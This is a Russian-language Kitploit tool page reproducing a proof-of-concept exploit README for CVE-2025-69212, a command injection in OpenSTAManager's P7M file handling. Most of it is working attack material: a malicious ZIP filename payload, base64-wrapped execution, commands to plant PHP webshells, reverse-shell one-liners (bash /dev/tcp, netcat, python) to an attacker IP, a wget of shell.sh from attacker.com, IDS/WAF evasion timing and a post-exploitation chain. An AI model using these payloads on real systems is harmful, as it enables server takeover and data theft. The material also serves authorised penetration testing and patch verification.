Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-69212-PoC — OpenSTAManager v2.9.8 и более ранние версии содержат критическую уязвимость внедрения команд ОС в функции декодирования файлов P7M (подписанные XML). | Kitploit
Инструменты/GitHubGitHub/bridgeralderson/cve-2025-69212-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHub
bridgeralderson/cve-2025-69212-poc

CVE-2025-69212-PoC

OpenSTAManager v2.9.8 и более ранние версии содержат критическую уязвимость внедрения команд ОС в функции декодирования файлов P7M (подписанные XML).

Репозиторий
3132 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-69212

OpenSTAManager <= 2.9.8 — OS Command Injection при обработке P7M-файлов

Обзор

ПолеДетали
CVE IDCVE-2025-69212
SeverityКРИТИЧЕСКИЙ (CVSS 4.0: 9.4)
CWECWE-78: OS Command Injection
Затрагиваемые версииOpenSTAManager <= 2.9.8
Уязвимая функцияXML::decodeP7M() в src/Util/XML.php
Вектор атакиВредоносное имя файла в загруженном ZIP-архиве
АутентификацияТребуется (любой пользователь с доступом к импорту счетов)
ВлияниеПолное удаленное выполнение кода от имени пользователя веб-сервера

Детали уязвимости

OpenSTAManager v2.9.8 и более ранние версии содержат критическую уязвимость внедрения команд ОС в функции декодирования P7M-файлов (подписанные XML). Метод decodeP7M() в src/Util/XML.php передает имена файлов, контролируемые пользователем, напрямую в PHP-функцию exec() без санитизации, что позволяет аутентифицированным злоумышленникам выполнять произвольные системные команды на сервере.

Корневая причина

root@kitploit:~
// src/Util/XML.php:100
public static function decodeP7M($file)
{
    $directory = pathinfo($file, PATHINFO_DIRNAME);
    $output_file = $directory.'/'.basename($file, '.p7m');

    exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}

Параметр $file — который берется из имен файлов внутри загруженных ZIP-архивов — заключен в двойные кавычки, но никогда не санитизируется с помощью escapeshellarg(). Злоумышленник может создать имя .p7m-файла, которое экранирует контекст двойных кавычек и внедряет произвольные команды оболочки.

Точки входа

  1. plugins/importFE_ZIP/actions.php:126 — Первичный вектор при обработке ZIP-загрузок, содержащих электронные счета
  2. plugins/importFE/src/FatturaElettronica.php:56 — Конструктор, обрабатывающий отдельные .p7m-файлы

Возможности

ВозможностьОписание
--checkПроверить, уязвима ли цель (создает и проверяет файл-маркер)
--webshellРазвернуть PHP-вебшелл через внедрение команд ОС
--rceИнтерактивное выполнение команд через развернутый вебшелл
--reverse-shellЗапустить обратную оболочку (методы python, nc, nc-e)
--cmdСлепое выполнение команд (выстрелил и забыл)
--shell-dirПользовательская директория записи вебшелла
--methodВыбор метода обратной оболочки
--proxyПоддержка HTTP-прокси (Burp Suite)
--delayРегулировка задержки запросов для обхода IDS/WAF
АвтоопределениеАвтоматическое обнаружение ID модуля/плагина importFE_ZIP

Установка

root@kitploit:~
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests

Использование

Аутентификация

root@kitploit:~
# Вход с учетными данными
python3 exploit.py -t http://target.com -u admin -p secret --check

# Использование существующей сессионной cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check

Проверка уязвимости

root@kitploit:~
# Автоопределение плагина и проверка уязвимости
python3 exploit.py -t http://target.com -u admin -p secret --check

# С известными ID модуля/плагина
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23

Развертывание вебшелла

root@kitploit:~
# Развернуть вебшелл в директорию по умолчанию (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell

# Пользовательская директория и имя файла
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php

Интерактивный RCE

root@kitploit:~
# Развернуть вебшелл + интерактивную оболочку
python3 exploit.py -t http://target.com -u admin -p secret --rce

# С уже существующим вебшеллом от предыдущего запуска
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce

Обратная оболочка

root@kitploit:~
# Обратная оболочка bash (по умолчанию, очень надежна)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444

# Обратная оболочка Python
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python

# Netcat с mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc

# Netcat с флагом -e
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e

Слепое выполнение команд

root@kitploit:~
# Выполнить команду (без возврата вывода)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"

# Загрузить и выполнить пейлоад
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"

Сетевые параметры

root@kitploit:~
# Через прокси Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080

# С задержкой запроса (2 секунды)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2

# Пропустить проверку SSL
python3 exploit.py -t https://target.com -u admin -p secret --check -k

Полный список параметров

root@kitploit:~
Цель:
  -t, --target           Базовый URL цели

Аутентификация:
  -u, --user             Имя пользователя для входа
  -p, --password         Пароль для входа
  -c, --cookie           Существующее значение PHPSESSID

Действия:
  --check                Проверить, уязвима ли цель
  --webshell             Развернуть PHP-вебшелл
  --rce                  Интерактивная оболочка через вебшелл
  --reverse-shell        Обратная оболочка (LHOST LPORT)
  --cmd COMMAND          Слепое выполнение команды

Параметры оболочки:
  --shell-dir DIR        Директория записи вебшелла (по умолчанию: files)
  --shell-name NAME      Пользовательское имя файла вебшелла
  --method METHOD        Метод обратной оболочки: bash, python, nc, nc-e

Определение плагина:
  --module-id ID         ID модуля OpenSTAManager
  --plugin-id ID         ID плагина importFE_ZIP

Сеть:
  --proxy URL            URL HTTP-прокси
  -k, --no-ssl-verify    Отключить проверку SSL
  --delay SECONDS        Задержка между запросами

Технические детали

Структура пейлоада

Эксплойт создает ZIP-архив, содержащий один .p7m-файл с вредоносным именем:

root@kitploit:~
invoice.p7m";INJECTED_COMMAND;echo ".p7m

Когда OpenSTAManager обрабатывает этот файл, результирующий вызов exec() становится:

root@kitploit:~
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."

Оболочка интерпретирует точки с запятой как разделители команд, выполняя внедренную команду между завершенным вызовом openssl и завершающим echo.

Ограничение имени файла в ZipArchive

Критично: PHP-функция ZipArchive::extractTo() рассматривает косую черту (/) в именах файлов как разделитель директорий в соответствии со спецификацией ZIP. Любая / в вредоносном имени файла приведет к разделению записи архива на директории, нарушая пейлоад эксплойта.

Все внедренные команды должны полностью избегать /. Чтобы полностью обойти это ограничение и предотвратить зависание PHP-функции exec() (что может занять рабочие процессы сервера и вызвать тайм-ауты), эксплойт теперь автоматически оборачивает пейлоады в Base64 и выполняет их в фоне:

root@kitploit:~
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &

Это позволяет использовать / естественным образом внутри внутреннего пейлоада (например, /dev/tcp/10.10.14.5/4444) без нарушения структуры ZIP.

Методы обратной оболочки

МетодПейлоадТребуется
bashbash -c 'bash -i >& /dev/tcp/H/P 0>&1'bash
pythonpython3 -c "import socket,os,subprocess;..."Python 3
ncrm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/fnetcat + mkfifo
nc-enc HOST PORT -e /bin/bashnetcat с поддержкой -e

Метод bash теперь используется по умолчанию, так как он наиболее надежен и является родным для Linux-целей.

Уязвимый путь кода

root@kitploit:~
Загрузка ZIP через плагин importFE_ZIP
    └── actions.php отправляет обработчику плагина
        └── ZipArchive::extractTo() извлекает файлы
            └── Итерирует .p7m-файлы
                └── XML::decodeP7M($filename)
                    └── exec('openssl smime ... -in "'.$filename.'"')
                        └── Оболочка интерпретирует внедренные команды

Пример цепочки атаки

root@kitploit:~
1. --check             → Подтверждение RCE через файл-маркер
2. --webshell          → Размещение PHP-шелла в директории files/
3. --rce               → Интерактивное выполнение команд
4. Разведка           → id, cat /etc/passwd, ifconfig
5. Перемещение        → Обратная оболочка к атакующему, пост-эксплуатация

Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам является незаконным. Всегда получайте надлежащее разрешение перед тестированием. Автор не несет ответственности за неправомерное использование.

Ссылки

  • CVE-2025-69212 (NVD)
  • GitHub Security Advisory — GHSA-25fp-8w8p-mx36
  • Репозиторий OpenSTAManager
  • PoC от Lukasz Rybak
Скачать инструмент